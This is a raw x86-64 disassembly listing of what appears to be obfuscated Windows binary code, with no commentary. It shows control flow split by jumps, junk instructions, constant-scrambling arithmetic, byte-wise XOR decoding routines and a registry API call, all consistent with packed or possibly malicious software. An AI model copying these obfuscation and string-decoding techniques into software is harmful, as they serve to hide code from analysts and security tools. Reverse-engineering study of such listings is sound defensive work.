paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x10], esi
jmp 0x14007c99d
xchg rsp, r15
movups xmm1, xmmword [0x14010f460]
mov r14, r14
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14010f470]
xchg rsi, rsp
movups xmmword [rsi + 0x70], xmm0
jmp 0x14007c611
add r9d, 0x12b0dc17
xor r9d, 0x4751b9df
xor r9d, 0xfbe36b9
jmp 0x14007d1c3
shr eax, 1
add edx, eax
movsx eax, dl
mov rsp, rsp
jmp 0x14007d61b
add eax, 0x8820366
xor eax, 0x5f81d963
sub eax, 0xbdd72ef
sub eax, 0x1f602586
add eax, 0x20dbfea9
jmp 0x14007c55e
mov rdi, rdi
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov rdi, rdi
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
jmp 0x14007c249
xchg rbp, r12
mov qword [rax + 0x10], r14
mov dword [rsp - 0x24], esp
jmp 0x14007c4b4
call fcn.1400a8330
cmp qword [rax + 0x18], 0x10
jb 0x14007c481
xchg rdi, rdi
mov rax, qword [rax]
jmp 0x14007c481
mov dword [rsp - 0x3c], edx
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
xchg r11, r11
jmp 0x14007cd32
sub rax, 8
cmp rax, r15
ja 0x14007d68f
call fcn.1400dcd18
mov dword [rsp - 0x1c], 0xecf9d
test edi, edi
jne 0x14007c9ce
jmp 0x14007cd52
mov r15, qword [rbp - 0x40]
xchg r15, rdx
cmp rdx, 0x10
jmp 0x14007c6cc
movd xmm6, esi
movdqa xmm7, xmmword [str.6666]
movd xmm8, r15d
movdqa xmm9, xmmword [0x14010c2f0]
xchg rbx, rbx
lea rcx, [rsp + 0x50]
jmp 0x14007ceee
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14007d136
xor r8d, r8d
mov dword [rsp - 0x20], 0x4c2cd794
xchg r10, rax
mov rdx, r10
jmp 0x14007d1fd
mov r14, qword [rsp - 8]
pop rbp
ret
sub r8d, 0x18fe9bc2
add r8d, 0x18fe9bca
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
xchg r9, r9
jmp 0x14007c303
xchg r10, rax
nop
movabs rcx, 0xffffffff5e37b2dc
xor rcx, 0x78ebf3d8
jmp 0x14007cb91
je 0x14007d3a7
movups xmm0, xmmword [0x14010f490]
xchg rsp, r13
movups xmmword [r13 + 0x50], xmm0
xchg rsp, r13
movups xmm1, xmmword [0x14010f4a0]
xchg r13, r13
jmp 0x14007cff0
xchg rdx, rbp
mov rbp, qword [rsp + 0x48]
xchg rdx, rbp
cmp rdx, 0x10
mov r14, r14
jb 0x14007d16d
inc rdx
jmp 0x14007c1c6
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
mov dword [rsp - 0x34], edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14007c574
lea r9, [r9 + 2]
cmp r8d, 0x27
jl 0x14007c9dc
mov edx, r10d
xchg rsi, rsi
jmp 0x14007d39d
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x14007c696
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
pxor xmm3, xmm0
xchg r13, r13
movq qword [rdx + 8], xmm3
jmp 0x14007ca39
paddd xmm0, xmm1
mov dword [rsp - 0x14], esp
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x40], edx
jmp 0x14007cf0d
mov byte [rbp - 0x74], al
mov r8d, r14d
xchg r10, r10
cmp ebx, 2
jmp 0x14007ccf3
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
mov dword [rsp - 0x24], 0x36d989fa
movdqa xmm0, xmm3
jmp 0x14007c857
mov rsi, rsi
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x138723a
jmp 0x14007d0ca
movd xmm0, edx
paddb xmm2, xmm0
xchg r8, r8
movd xmm0, dword [rcx]
jmp 0x14007c341
ja 0x14007d654
call fcn.1400dcd18
mov rcx, qword [rbp + 0x100]
jmp 0x14007c708
movups xmm1, xmmword [0x14010f4c0]
xchg r11, rbp
movups xmmword [r11 - 0x80], xmm1
xchg r11, rbp
movsd xmm0, qword [0x14010f4d0]
xchg r11, rbp
jmp 0x14007cbab
xchg rbx, rdx
mov r9d, 0x5d2c36f7
sub r9d, 0x23f4c509
jmp 0x14007c63b
lea rcx, [rsp + 0x50]
call fcn.1400a1310
xchg rcx, r14
jmp 0x14007c9be
add byte [rax], 0x1f
sub byte [rax], 0x19
add byte [rax], 0x4e
xor byte [rax], 0xb
xor byte [rax], 0x55
sub byte [rax], 0x26
xchg r13, rdx
jmp 0x14007c22f
movups xmmword [rdx - 0x80], xmm1
xchg rdx, rbp
movsd xmm0, qword [0x14010f560]
jmp 0x14007cc8f
add eax, 0x46fb4eb9
add eax, 0x938f3b9
sub eax, 0x557e79b1
xor eax, 0x5b756118
add eax, 0x2037f8
jmp 0x14007cb85
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
xchg r11, r15
jmp 0x14007cdf2
movups xmmword [r11 + 0x50], xmm0
xchg rsp, r11
movups xmm1, xmmword [0x14010f530]
jmp 0x14007c7c4
mov r11, rsp
xchg rsp, r11
nop
mov r15, qword [rsp]
add rsp, 8
nop
add rsp, 8
jmp 0x14007d1d8
mov dword [rsp - 0x40], 0x79dd15b2
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
jmp 0x14007d538
mov rdx, rdx
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14007d2cb
sub rdx, 0x7870ea64
mov rcx, qword [rcx - 8]
xchg rcx, rcx
sub rax, rcx
nop
jmp 0x14007d5ac
xor byte [rbp - 0x58], 0x4c
sub byte [rbp - 0x58], 0x3f
add byte [rbp - 0x58], 0x28
sub byte [rbp - 0x58], 0x1e
jmp 0x14007c88f
xor rcx, 0x1818195
add rcx, 0x3dae31a3
add rcx, 0x3943fc07
jmp 0x14007ce4d
mov edi, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
xchg r15, r15
jb 0x14007ccca
inc rdx
jmp 0x14007c54c
movups xmmword [rbp - 0x38], xmm0
xchg rsp, rsp
xchg r14, rax
movups xmm1, xmmword [r14 + 0x10]
xchg r14, rax
xchg r12, rbp
movups xmmword [r12 - 0x28], xmm1
jmp 0x14007d10b
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov rsi, rsi
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14007c5cd
xor qword [rsp + 0x48], 0x4c3f29fb
add qword [rsp + 0x48], 0x67da9092
xor qword [rsp + 0x48], 0x30c907ae
add qword [rsp + 0x48], 0x24a2c26c
xor qword [rsp + 0x48], 0x6f2bdd5a
mov byte [rsp + 0x30], 0x5a
jmp 0x14007cb22
punpckhdq xmm0, xmm3
mov rdx, rdx
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14007c296
movups xmm1, xmmword [0x14010f4f0]
xchg rbx, rsp
movups xmmword [rbx + 0x60], xmm1
xchg rbx, rsp
movups xmm0, xmmword [0x14010f500]
jmp 0x14007cdbc
call fcn.140075d70
xchg rdi, rax
movups xmm0, xmmword [rdi]
xchg rdi, rax
jmp 0x14007d4ca
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r11, r11
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14007d059
add al, 0xce
neg al
xor byte [r9], al
inc r8d
jmp 0x14007cfd4
sub rax, 0xffffffff9814d8eb
add rax, 0xffffffff9814d8e3
cmp rax, 0x1f
ja 0x14007d67c
jmp 0x14007c430
movdqa xmm7, xmmword [str.6666]
movd xmm8, r15d
mov dword [rsp - 0x3c], 0x2558dded
movdqa xmm0, xmmword [0x14010c310]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov r14, r14
jmp 0x14007ce9a
mov dword [rsp - 0x2c], edi
call fcn.1400a1310
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp - 0x18], 0x1cb7f810
nop
xchg rdx, r15
jmp 0x14007d17a
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
mov dword [rsp - 0x1c], edx
sub al, 0xce
xor byte [r9], al
jmp 0x14007ca85
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1400a8330
xchg r15, r15
cmp qword [rax + 0x18], 0x10
jb 0x14007c7ec
jmp 0x14007c7e5
call fcn.1400e39cc
int3
call fcn.1400e39cc
int3
call fcn.140038bb0
nop
jmp 0x14007d685
call fcn.1400e39cc
nop
call fcn.1400e39cc
mov r11, r11
int3
mov dword [rsp - 0x34], esi
call fcn.1400e39cc
nop
call fcn.1400e39cc
int3